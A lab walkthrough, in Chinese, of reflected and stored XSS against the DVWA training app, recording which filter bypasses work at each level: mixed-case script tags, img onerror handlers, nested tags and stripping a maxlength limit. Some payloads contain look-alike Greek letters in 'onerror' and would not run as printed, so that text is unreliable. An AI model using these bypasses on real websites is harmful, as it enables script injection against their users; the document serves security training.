目录
1.DVWA反射型xss
(1)Low:
输入<script>alert(1)</script>
点击submit则会有弹窗显示
(2)Medium:
输入<script>alert(1)</script>
没有弹窗显示
尝试闭合,输入"><script>alert(1)</script>
也没有弹窗显示
点击这个查看源代码
发现<script>被丢掉了,因此考虑大小写
输入"><sCript>alert(1)</scRipt>
有弹窗显示
尝试使用<img>标签
输入<img src=# οnerrοr=alert(1)>=
有弹窗显示
尝试双写绕过
<scr<script>ipt>alert(1)</scr<script>ipt>
也有弹窗显示
用html编码绕过进行尝试
<script>alert(1)</script>
没有弹窗显示
(3)Heigh
输入<script>alert(1)</script>
没有弹窗显示
尝试闭合,输入"><script>alert(1)</script>
也没有弹窗显示
点击这个查看源代码
包含/<script>任意一个字母就会被丢掉
所以不能使用<script>标签去做
所以尝试用<img>
输入<img src=# οnerrοr=alert(1)>
有弹窗显示
2.xss存储型
(1)Low:
输入<script>alert(1)</script>
有弹窗显示
(2)Medium
输入<script>alert(1)</script>
点击提交
没有弹窗
尝试大小写,双写,img,HTML编码均没有反应
那么就尝试换个方向
去改变它的name,尝试在name中注入xss
因为查看源代码时发现neme的长度最大时10
那么我们则需要去修改源代码把maxlength删除,删除之后再在name插入xss代码
考虑大小写
输入"><sCript>alert(1)</scRipt>
有弹窗显示
尝试使用<img>标签
输入<img src=# οnerrοr=alert(1)>
有弹窗显示
尝试双写绕过
<scr<script>ipt>alert(1)</scr<script>ipt>
也有弹窗显示
用html编码绕过进行尝试
<script>alert(1)</script>
html
<script>alert(1)</script>
没有弹窗显示
(3)Heigh
与中级同理在尝试从message注入不成功后,便转为在name上面注入
尝试用img标签注入
<img src=# οnerrοr=alert(1)>
有弹窗显示